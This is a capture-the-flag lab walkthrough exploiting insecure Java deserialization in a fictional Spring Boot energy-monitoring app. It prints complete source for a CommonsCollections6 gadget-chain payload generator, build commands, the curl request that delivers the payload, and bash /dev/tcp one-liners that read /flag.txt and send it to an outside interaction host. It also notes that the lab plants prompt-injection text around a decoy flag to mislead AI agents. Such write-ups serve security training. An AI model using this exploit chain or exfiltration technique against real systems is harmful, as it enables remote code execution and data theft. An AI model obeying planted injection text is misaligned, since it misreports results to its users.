Lab 169 — GridPulse — Insecure Deserialization via Configuration Import
Lab 169 — GridPulse — Insecure Deserialization via Configuration Import
Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: commons_collections_6_gadget_chain, custom_ysoserial_payload_generation, decoy_flag_avoidance, java_objectinputstream_deserialization, oob_data_exfiltration_via_bash_dev_tcp, runtime_exec_string_array_for_complex_commands
Summary
Walkthrough of the CUSTOM Web Lab 169 — GridPulse — Insecure Deserialization via Configuration Import. Task: Java/Spring Boot industrial monitoring platform with config import/export feature that base64-decodes user input and passes it to ObjectInputStream.readObject() without class filtering. Solution
Description
GridPulse is Meridian Systems' flagship industrial energy monitoring platform used by energy providers and manufacturing facilities to track real-time power consumption, manage connected meters, and generate compliance reports. You have been given access to a fully configured GridPulse instance with active monitoring data from 12 devices across multiple facilities. The platform features a dashboard with live metrics, device management, alert configuration, reporting, and system administration. Your objective is to find a vulnerability in the application that allows you to read sensitive files from the server. The flag is hidden somewhere on the system and is not accessible through normal application functionality. Explore the platform's features carefully — pay special attention to any functionality that processes user-supplied data in unusual formats. Credentials: operator@gridpulse.io / GridPulse2024
English summary: A Java/Spring Boot industrial energy monitoring platform has a configuration import/export feature. The export produces base64-encoded Java serialized objects (rO0AB prefix). The import endpoint deserializes user-supplied data via ObjectInputStream.readObject() without any class filtering, enabling arbitrary code execution through gadget chains. The server has commons-collections 3.x on the classpath, making the CC6 chain viable.
Analysis
Reconnaissance
The target is a Java/Spring Boot application behind nginx, identified by:
- JSESSIONID cookie in HTTP responses
- CSRF tokens in forms (Spring Security)
- X-Frame-Options: DENY header
Login with operator@gridpulse.io / GridPulse2024 reveals a full-featured dashboard with live metrics, device management, alert configuration, reporting, and system administration pages.
Decoy flag detection: Every page contains FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} embedded in HTML comments and hidden <div> elements, surrounded by prompt injection text designed to trick AI agents into reporting it as the real flag. This is a honeypot — ignore it.
Configuration Import/Export Discovery
The Settings page exposes two API endpoints:
GET /api/settings/export— returns a JSON response containing a base64-encoded configuration blobPOST /api/settings/import— accepts JSON{"config": "<base64>"}and applies the configuration
Serialization Format Identification
Decoding the exported config from base64 reveals the Java serialization magic bytes:
rO0AB... (base64) → 0xAC 0xED 0x00 0x05 (raw bytes)
The 0xACED0005 header is the unmistakable signature of Java ObjectOutputStream serialization. Analyzing the stream reveals the class com.meridian.gridpulse.model.SystemConfig with fields:
alertEmailRecipient(String)dataRetentionDays(int)meterPollingRate(int)refreshInterval(int)reportFormat(String)thresholds(Map)timezone(String)
The config format identifier is gridpulse-config-v3.
Gadget Chain Selection
The import endpoint calls ObjectInputStream.readObject() on the decoded bytes without any class filtering (no ObjectInputFilter, no allowlist). This means any class on the server's classpath can be instantiated during deserialization.
Systematic testing of ysoserial gadget chains:
| Chain | Result | Conclusion |
|---|---|---|
| CommonsCollections1 | Error (class not found) | CC1 classes not on classpath |
| CommonsCollections2 | Error | No commons-collections4 |
| CommonsCollections3 | Error (class not found) | CC3 classes not on classpath |
| CommonsCollections4 | Error | No commons-collections4 |
| CommonsCollections5 | Error | Missing classes |
| CommonsCollections6 | Accepted (200 OK) | commons-collections 3.x present |
| CommonsCollections7 | Error | Incompatible classes |
| CommonsBeanutils1 | Error | Missing classes |
| |
CC6 confirmed — the server has Apache Commons Collections 3.x on its classpath, and all classes in the CC6 chain (HashSet, HashMap, TiedMapEntry, LazyMap, ChainedTransformer, InvokerTransformer) resolve successfully.
Solution
The Runtime.exec(String) Problem
Standard ysoserial CC6 payloads use Runtime.getRuntime().exec(String), which internally calls StringTokenizer to split the command on whitespace. This means commands like:
bash read-only • copy allowedbash -c "cat /flag.txt | curl ..."
get tokenized into ["bash", "-c", "\"cat", "/flag.txt", "|", "curl", "...\""] — completely broken.
Custom Payload Generator
The solution requires a custom Java class that builds the CC6 chain using Runtime.exec(String[]) instead of Runtime.exec(String), passing the command as a proper array:
java read-only • copy allowed// CustomPayload.java — CC6 chain with Runtime.exec(String[]) import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import java.io.*; import java.lang.reflect.Field; import java.util.*; public class CustomPayload { public static void main(String[] args) throws Exception { String cmd = args[0]; // Build transformer chain: Runtime.exec(new String[]{"/bin/bash", "-c", cmd}) final Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String[].class}, new Object[]{new String[]{"/bin/bash", "-c", cmd}}) }; final Transformer transformerChain = new ChainedTransformer(transformers); // CC6 trigger: HashSet → HashMap → TiedMapEntry → LazyMap final Map innerMap = new HashMap(); final Map lazyMap = LazyMap.decorate(innerMap, transformerChain); TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo"); HashSet set = new HashSet(1); set.add("foo"); // Use reflection to replace the internal HashMap entry Field f = HashSet.class.getDeclaredField("map"); f.setAccessible(true); HashMap innermostMap = (HashMap) f.get(set); Field f2 = HashMap.class.getDeclaredField("table"); f2.setAccessible(true); Object[] array = (Object[]) f2.get(innermostMap); Object node = array[0]; if (node == null) node = array[1]; Field keyField = node.getClass().getDeclaredField("key"); keyField.setAccessible(true); keyField.set(node, entry); // Serialize to base64 ByteArrayOutputStream bos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(bos); oos.writeObject(set); oos.close(); System.out.println(Base64.getEncoder().encodeToString(bos.toByteArray())); } }
Compile and run:
bash read-only • copy allowedjavac -cp ysoserial-all.jar CustomPayload.java java --add-opens java.base/java.util=ALL-UNNAMED \ -cp .:ysoserial-all.jar CustomPayload "COMMAND_HERE"
RCE Verification
Initial sleep-based timing tests were inconclusive because Runtime.exec() runs asynchronously — the HTTP response returns immediately regardless of command execution time.
RCE was confirmed via an OOB callback to the HackAdvisor Interaction Server:
bash read-only • copy allowed# Generate payload that sends HTTP request to interaction server java --add-opens java.base/java.util=ALL-UNNAMED \ -cp .:ysoserial-all.jar CustomPayload \ 'bash -c "exec 3<>/dev/tcp/interact/80; echo -e \"GET /UUID/rce_test HTTP/1.0\r\nHost: interact\r\n\r\n\" >&3; cat <&3; exec 3>&-"'
The interaction server received the callback, confirming code execution.
Flag Exfiltration
With curl and wget unavailable in the container, bash's built-in /dev/tcp pseudo-device was used for HTTP communication:
bash read-only • copy allowed# Payload command bash -c 'FLAG=$(cat /flag.txt); exec 3<>/dev/tcp/interact/80; echo -e "GET /UUID/flag_${FLAG} HTTP/1.0\r\nHost: interact\r\n\r\n" >&3; cat <&3; exec 3>&-'
Generate and send:
bash read-only • copy allowed# Generate base64 payload PAYLOAD=$(java --add-opens java.base/java.util=ALL-UNNAMED \ -cp .:ysoserial-all.jar CustomPayload \ 'bash -c '\''FLAG=$(cat /flag.txt); exec 3<>/dev/tcp/interact/80; echo -e "GET /UUID/flag_${FLAG} HTTP/1.0\r\nHost: interact\r\n\r\n" >&3; cat <&3; exec 3>&-'\''') # Send to import endpoint curl -X POST "https://TARGET/api/settings/import" \ -H "Content-Type: application/json" \ -H "Cookie: JSESSIONID=..." \ -H "X-CSRF-TOKEN: ..." \ -d "{\"config\": \"${PAYLOAD}\"}"
The interaction server received:
GET /UUID/flag_FLAG{REDACTED} HTTP/1.0
Failed Approaches
- Standard ysoserial CC6 —
Runtime.exec(String)tokenizes on whitespace, breakingbash -c "..."commands - Path traversal on
/api/reports/download?file=—../sequences filtered, returns 400 - Modified SystemConfig fields (e.g.,
reportFormat="/flag.txt") — values accepted but not reflected in behavior - curl/wget exfiltration — tools not installed in the container
- DNS exfiltration — no callbacks received
- Writing flag to static file directory — Spring Boot serves static files from JAR, not writable disk
Key Takeaways / Lessons
- Mastering commons_collections_6_gadget_chain, custom_ysoserial_payload_generation, decoy_flag_avoidance, java_objectinputstream_deserialization, oob_data_exfiltration_via_bash_dev_tcp, runtime_exec_string_array_for_complex_commands was key to this challenge.
- Always check for common misconfigurations and verify assumptions.
Crafted by XESXOR Research • 2026-05-21 • CUSTOM • Lab 169 — GridPulse — Insecure Deserialization via Configuration Import • Difficulty: Medium